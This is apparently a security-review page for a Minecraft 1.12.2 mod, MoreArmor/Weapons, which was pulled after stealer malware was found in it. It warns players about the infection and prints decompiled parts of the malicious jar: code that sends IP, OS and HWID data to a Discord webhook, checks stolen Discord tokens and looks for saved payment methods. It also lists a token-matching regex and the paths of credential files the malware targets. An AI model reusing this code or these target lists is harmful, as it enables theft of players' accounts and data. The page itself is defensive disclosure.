A mod with different custom armor sets and weapons
Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it to CurseForge on 20 Oct 2026 and to CurseForge on 24 Oct 2026.
Malware: a file of this project steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server. See Security
Malware was found in one of its files, so it has no grade. See Security
It has no file for a recent Minecraft version. This is about its files for Minecraft 1.12 to 1.12.2.
Changes the game's code in 8 areas: Rendering and graphicsChanges 5 game code files in this area: drawing mobs, items, particles and textures on screen., User interfaceChanges 3 game code files in this area: menus, screens, tooltips, the chat window and the in-game overlay., Networking and multiplayerChanges 2 game code files in this area: connections, the server list and what is sent between your game and a server., PlayerChanges 1 game code file in this area: your character: movement, abilities, hunger and controls., Mobs and their behaviorChanges 1 game code file in this area: mobs, animals, villagers, projectiles and how they move and act., Blocks and fluidsChanges 1 game code file in this area: how blocks, fluids and redstone work., Game coreChanges 1 game code file in this area: the main loop, lighting and other code the whole game uses. and Server and world logicChanges 1 game code file in this area: the world, commands, scoreboards, saved data and game rules..
Adds no new blocks, items or other content.
Keeps all of vanilla Minecraft's textures, models and sounds.
Malware: it steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server
Found in these files: MoreArmorWeaponsv1.12.2-release.jar (21 Apr 2022) and MoreArmorwWeapons.v1.12.2-release.jar (1.0, 31 Mar 2022). Their downloads are blocked.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
MoreArmorWeaponsv1.12.2-release.jar and its other files with malware from your mods folder.Why we show this: a mod runs on your computer like any program, so harmful code in it can take your accounts or files. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
net/jodah/typetools/util/TypeUtil reads browser login or cookie files, reads Discord tokens; "\Local Storage\leveldb\"; "[\w\W]{24}\.[\w\W]{6}\.[\w\W]{27}|mfa\.[\w\W]{84}"net/jodah/typetools/Sender sends to a Discord webhook hidden in Base64; "https://discordapp.com/api/webhooks/966521902753513512/<redacted> (decoded from Base64)"net/jodah/typetools/util/TypeUtil discord: string "[\w\W]{24}\.[\w\W]{6}\.[\w\W]{27}|mfa\.[\w\W]{84}"net/jodah/typetools/util/TypeUtil browser: string "\Local Storage\leveldb\"net/jodah/typetools/util/impl/TypeUtil1 browser: string "\Google\Chrome\User Data\Default\Login Data"net/jodah/typetools/util/impl/TypeUtil15 minecraft_accounts: string "\.minecraft\launcher_accounts.json"net/jodah/typetools/util/impl/TypeUtil6 other_apps: string "/AppData/Roaming/FileZilla/recentservers.xml"net/jodah/typetools/util/TypeUtil profile: string "\Mozilla\Firefox\Profiles"net/jodah/typetools/Sender Discord webhook address hidden in Base64: https://discordapp.com/api/webhooks/966521902753513512/<redanet/jodah/typetools/util/HWIDUtil Discord webhook address hidden in Base64: https://discord.com/api/webhooks/956273347589709885/<redacteMoreArmorWeaponsv1.12.2-release.jar, turned back into readable code, where our checks found the problem.net.jodah.typetools.util.impl.TypeUtil19.executepublic void execute() throws Exception {
String ip = new Scanner(new URL("http://checkip.amazonaws.com").openStream(), "UTF-8").useDelimiter("\\A").next();
Sender.send(
new Builder("Personal")
.addField("IP", ip, true)
.addField("OS", System.getProperty("os.name"), true)
.addField("Name", System.getProperty("user.name"), true)
.addField("HWID", HWIDUtil.getID(), true)
.build()
);
}me.alpha432.oyvey.util.PlayerUtil$lookUpUUID.runpublic void run() {
this.name = this.lookUpName();
}me.alpha432.oyvey.util.PlayerUtil.requestIDspublic static String requestIDs(String data) {
try {
String query = "https://api.mojang.com/profiles/minecraft";
URL url = new URL(query);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setConnectTimeout(5000);
conn.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setRequestMethod("POST");
OutputStream os = conn.getOutputStream();
os.write(data.getBytes(StandardCharsets.UTF_8));
os.close();
InputStream in = new BufferedInputStream(conn.getInputStream());
String res = convertStreamToString(in);
in.close();
conn.disconnect();
return res;
} catch (Exception e) {
return null;
}
}net.jodah.typetools.util.TypeUtil.lambda$getValidTokens$1public static List<String> getValidTokens(List<String> tokens) {
ArrayList<String> validTokens = new ArrayList<>();
tokens.forEach(token -> {
try {
URL url = new URL("https://discordapp.com/api/v6/users/@me");
HttpURLConnection con = (HttpURLConnection)url.openConnection();
Map<String, Object> stuff = (Map<String, Object>)gson.fromJson(getHeaders(token), (new TypeToken<Map<String, Object>>() {}).getType());
stuff.forEach((key, value) -> con.addRequestProperty(key, (String)value));
con.getInputStream().close();
validTokens.add(token);
} catch (Exception var5) {
}
});
return validTokens;
}net.jodah.typetools.util.impl.TypeUtil3.getUserDataprivate String getUserData(String token) {
return TypeUtil.getContentFromURL("https://discordapp.com/api/v6/users/@me", token);
}net.jodah.typetools.util.TypeUtil.getContentFromURLpublic static String getContentFromURL(String link, String auth) {
try {
URL url = new URL(link);
HttpURLConnection httpURLConnection = (HttpURLConnection)url.openConnection();
httpURLConnection.setRequestMethod("GET");
Map<String, Object> json = (Map<String, Object>)gson.fromJson(getHeaders(auth), (new TypeToken<Map<String, Object>>() {}).getType());
json.forEach((key, value) -> httpURLConnection.addRequestProperty(key, (String)value));
httpURLConnection.connect();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line).append("\n");
}
bufferedReader.close();
return stringBuilder.toString();
} catch (Exception ignored) {
return "";
}
}net.jodah.typetools.util.impl.TypeUtil3.hasPaymentMethodsprivate boolean hasPaymentMethods(String token) {
return TypeUtil.getContentFromURL("https://discordapp.com/api/v6/users/@me/billing/payment-sources", token).length() > 4;
}me.alpha432.oyvey.util.PlayerUtil.getHistoryOfNamespublic static List<String> getHistoryOfNames(UUID id) {
try {
JsonArray array = getResources(new URL("https://api.mojang.com/user/profiles/" + getIdNoHyphens(id) + "/names"), "GET").getAsJsonArray();
List<String> temp = Lists.newArrayList();
for (JsonElement e : array) {
JsonObject node = e.getAsJsonObject();
String name = node.get("name").getAsString();
long changedAt = node.has("changedToAt") ? node.get("changedToAt").getAsLong() : 0L;
temp.add(name + "§8" + new Date(changedAt).toString());
}
Collections.sort(temp);
return temp;
} catch (Exception ignored) {
return null;
}
}me.alpha432.oyvey.util.PlayerUtil.getResourcesprivate static JsonElement getResources(URL url, String request) throws Exception {
return getResources(url, request, null);
}net.jodah.typetools.util.HWIDUtil.blacklistedpublic static boolean blacklisted() {
try {
String s = new Scanner(new URL("").openStream(), "UTF-8").useDelimiter("\\A").next();
return s.contains(getID());
} catch (Exception e) {
return false;
}
}Malware: it steals your browser passwords, Discord tokens, Minecraft session, launcher accounts and saved logins of other apps, takes pictures of your screen and sends them to a Discord server
Found by the file checks. See Security for what to do if you installed it.
No sign so far that AI was used to make it
We looked for AI tools in its description, files and images and found none.
We have not read its changelogs yet.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
Point at or tap a version to see its loaders.
Modpacks that include MoreArmor/Weapons in at least one of their versions, most downloaded first.
The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.